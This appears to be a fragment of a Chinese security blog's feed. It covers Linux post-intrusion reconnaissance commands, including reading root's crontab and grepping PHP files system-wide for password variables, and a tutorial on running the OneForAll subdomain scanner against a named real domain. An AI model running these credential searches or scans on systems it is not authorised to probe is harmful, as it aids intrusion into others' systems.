cat /var/spool/cron/crontabs/root</code></pre><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">ls -al /etc/ |grep cron ls -al /etc/cron*</code></pre><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">cat /etc/cron.deny cat /etc/crontab</code></pre><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-dee5db01efbf4219a0615c3c94c45c46"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://ae01.alicdn.com/kf/U55b19c0a476941f8aa8b84dbc7cb1648y.jpg" alt="notion image" loading="lazy" decoding="async"/></div></figure><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-c4ee4a1d753e417eb8bc80c5bd366d59" data-id="c4ee4a1d753e417eb8bc80c5bd366d59"><span><div id="c4ee4a1d753e417eb8bc80c5bd366d59" class="notion-header-anchor"></div><a class="notion-hash-link" href="#c4ee4a1d753e417eb8bc80c5bd366d59" title="查看PASSWORD的文件"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">查看PASSWORD的文件</span></span></h4><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">find / -name &quot;*.php*&quot; -print0 | xargs -0 grep -i &quot;var $password&quot;</code></pre><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-ba9b7b12d00c40f79ae2b500ce2048c4" data-id="ba9b7b12d00c40f79ae2b500ce2048c4"><span><div id="ba9b7b12d00c40f79ae2b500ce2048c4" class="notion-header-anchor"></div><a class="notion-hash-link" href="#ba9b7b12d00c40f79ae2b500ce2048c4" title="查看网络连接"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">查看网络连接</span></span></h4><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell"># 查看80端口
netstat -pantu | grep 80</code></pre></main></div>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[信息收集-扫描工具]]></title>
            <link>https://hexo.xslover.xyz/article/23c25ba6-0b59-4567-8ead-1f5f2f250cc0</link>
            <guid>https://hexo.xslover.xyz/article/23c25ba6-0b59-4567-8ead-1f5f2f250cc0</guid>
            <pubDate>Mon, 17 Apr 2023 00:00:00 GMT</pubDate>
            <content:encoded><![CDATA[<div id="container" class="font-medium mx-auto undefined"><main class="notion light-mode notion-page notion-block-23c25ba60b5945678ead1f5f2f250cc0"><div class="notion-viewport"></div><div class="notion-collection-page-properties"></div><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-4d9f1397598c47d6b13b6ad6bda4760d" data-id="4d9f1397598c47d6b13b6ad6bda4760d"><span><div id="4d9f1397598c47d6b13b6ad6bda4760d" class="notion-header-anchor"></div><a class="notion-hash-link" href="#4d9f1397598c47d6b13b6ad6bda4760d" title="LAYER扫描器"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">LAYER扫描器</span></span></h3><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-5b945b2a88e0402daa397ea29607441c"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/EasyDreams27/hexo-file-hexo-master@master/HexoArticleImages/20210831164505.jpeg" alt="notion image" loading="lazy" decoding="async"/></div></figure><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-cc7f24ab05e04f67af73788ee7dc690b" data-id="cc7f24ab05e04f67af73788ee7dc690b"><span><div id="cc7f24ab05e04f67af73788ee7dc690b" class="notion-header-anchor"></div><a class="notion-hash-link" href="#cc7f24ab05e04f67af73788ee7dc690b" title="ONEFORALL"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">ONEFORALL</span></span></h3><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3cb711cb10d3428f849bdc8d326fa89a"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://ae01.alicdn.com/kf/U1f7b086798154095b40963f3f6d5f187O.jpg" alt="notion image" loading="lazy" decoding="async"/></div></figure><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-322c408f8d7e4a5dbd313cd5280163b2"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://ae01.alicdn.com/kf/U6b45ff26c37c40d78e648a8d0c80c6e8s.jpg" alt="notion image" loading="lazy" decoding="async"/></div></figure><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-81803c4834f2487980bc6f0b62ce82d2" data-id="81803c4834f2487980bc6f0b62ce82d2"><span><div id="81803c4834f2487980bc6f0b62ce82d2" class="notion-header-anchor"></div><a class="notion-hash-link" href="#81803c4834f2487980bc6f0b62ce82d2" title="安装使用"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">安装使用</span></span></h4><ol start="1" class="notion-list notion-list-numbered notion-block-c0fd670cb9bb4660afd39d9d7e211c9b"><li>下载更新：</li><ol class="notion-list notion-list-numbered notion-block-c0fd670cb9bb4660afd39d9d7e211c9b"><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">git clone &lt;https://github.com/shmilylty/OneForAll.git&gt;
</code></pre></ol></ol><ol start="2" class="notion-list notion-list-numbered notion-block-1318cc6217b5470e8a0688dbd5651699"><li>安装依赖</li><ol class="notion-list notion-list-numbered notion-block-1318cc6217b5470e8a0688dbd5651699"><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">python -m pip install -U pip setuptools wheel -i &lt;https://mirrors.aliyun.com/pypi/simple/&gt;


pip3 install -r requirements.txt -i &lt;https://mirrors.aliyun.com/pypi/simple/&gt;
</code></pre></ol></ol><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-e3f4a481514f436fb9c24659b6b6cb40" data-id="e3f4a481514f436fb9c24659b6b6cb40"><span><div id="e3f4a481514f436fb9c24659b6b6cb40" class="notion-header-anchor"></div><a class="notion-hash-link" href="#e3f4a481514f436fb9c24659b6b6cb40" title="常规扫描"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">常规扫描</span></span></h4><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">python3 oneforall.py --target dbappsecurity.com.cn run
</code></pre><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-9cd769820d5443ae92131b56d88f2165" data-id="9cd769820d5443ae92131b56d88f2165"><span><div id="9cd769820d5443ae92131b56d88f2165" class="notion-header-anchor"></div><a class="notion-hash-link" href="#9cd769820d5443ae92131b56d88f2165" title="-target 扫描目标"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">-target 扫描目标</span></span></h4><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">python3 oneforall.py --target dbappsecurity.com.cn --port default run
</code></pre><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-7c9bc91e98f04c27a27a7d9a3490a5b5"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/EasyDreams27/hexo-file-hexo-master@master/HexoArticleImages/20210831164444.jpeg" alt="notion image" loading="lazy" decoding="async"/></div></figure><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-b7b101cf9742401d8e18f0a5f940d819"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/EasyDreams27/hexo-file-hexo-master@master/HexoArticleImages/20210831164519.jpeg" alt="notion image" loading="lazy" decoding="async"/></div></figure><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-576e5f468af9461f876806530e78c429" data-id="576e5f468af9461f876806530e78c429"><span><div id="576e5f468af9461f876806530e78c429" class="notion-header-anchor"></div><a class="notion-hash-link" href="#576e5f468af9461f876806530e78c429" title="-port 扫描端口"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">-port 扫描端口</span></span></h4><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">python3 oneforall.py --target dbappsecurity.com.cn --port default run
python3 oneforall.py --target dbappsecurity.com.cn --port smail run
python3 oneforall.py --target dbappsecurity.com.cn --port large run
python3 oneforall.py --target dbappsecurity.com.cn --port self run
</code></pre><blockquote class="notion-quote notion-block-daebee7a67c24cd3a299258c3c44c309"><div>self_ports: 需要自己添加端口，我们可以使用nmap扫描开放端口后，手动添加到这个列表里面去。</div></blockquote><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-aad701d1484b43ecafdd7525cb8caff4"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/EasyDreams27/hexo-file-hexo-master@master/HexoArticleImages/20210831164524.jpeg" alt="notion image" loading="lazy" decoding="async"/></div></figure><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-ba7e1dafa4c046799cfa5af6ddc135bd" data-id="ba7e1dafa4c046799cfa5af6ddc135bd"><span><div id="ba7e1dafa4c046799cfa5af6ddc135bd" class="notion-header-anchor"></div><a class="notion-hash-link" href="#ba7e1dafa4c046799cfa5af6ddc135bd" title="参数使用"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">参数使用</span></span></h4><blockquote class="notion-quote notion-block-2b473e03fab549c092e91ebb39660e1b"><div>--valid</div><div class="notion-text notion-block-36584feb06b44e569a4c072e839e9399">只导出存活的子域结果(默认False)</div></blockquote><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-plain text">python3 oneforall.py --target example.com --valid None run
</code></pre><blockquote class="notion-quote notion-block-0c67d42d478346f3b3af342a59e6a7c0"><div>--req</div><div class="notion-text notion-block-618aae1cc7b245deb227768ab0af3732">HTTP请求子域(默认True)</div></blockquote><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-plain text">python3 oneforall.py --target example.com --req False run
</code></pre><blockquote class="notion-quote notion-block-12d936f6d75543c6a8186791e74ef47d"><div>--dns</div><div class="notion-text notion-block-9290d735ae29414cbf88a16798ea1b3f">DNS解析子域(默认True)</div></blockquote><blockquote class="notion-quote notion-block-50c1bfaa2ae846b08c150bf7744d67a4"><div>--brute</div><div class="notion-text notion-block-97d75bca5f714ffdb94407f54358e7a1">使用爆破模块(默认False)</div></blockquote><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-c7a6807a8ec6411fafb1525f9e88f02b" data-id="c7a6807a8ec6411fafb1525f9e88f02b"><span><div id="c7a6807a8ec6411fafb1525f9e88f02b" class="notion-header-anchor"></div><a class="notion-hash-link" href="#c7a6807a8ec6411fafb1525f9e88f02b" title="扫描结果"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">扫描结果</span></span></h4><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-4de94ff4e0284030878c4608e81b926a"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/EasyDreams27/hexo-file-hexo-master@master/HexoArticleImages/20210831164528.jpeg" alt="notion image" loading="lazy" decoding="async"/></div></figure><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-f3b9764f55dc4884a0da79910826253b" data-id="f3b9764f55dc4884a0da79910826253b"><span><div id="f3b9764f55dc4884a0da79910826253b" class="notion-header-anchor"></div><a class="notion-hash-link" href="#f3b9764f55dc4884a0da79910826253b" title="SUBDOMAIN3( 测试中 )"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">SUBDOMAIN3( 测试中 )</span></span></h3><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-abdccafd586f48cb92397339a7bc2299" data-id="abdccafd586f48cb92397339a7bc2299"><span><div id="abdccafd586f48cb92397339a7bc2299" class="notion-header-anchor"></div><a class="notion-hash-link" href="#abdccafd586f48cb92397339a7bc2299" title="安装使用"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">安装使用</span></span></h4><ol start="1" class="notion-list notion-list-numbered notion-block-0e33a020a9ba4271b2d1a5d8c351d49d"><li>下载更新</li><ol class="notion-list notion-list-numbered notion-block-0e33a020a9ba4271b2d1a5d8c351d49d"><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">git clone &lt;https://github.com/yanxiu0614/subdomain3.git&gt;
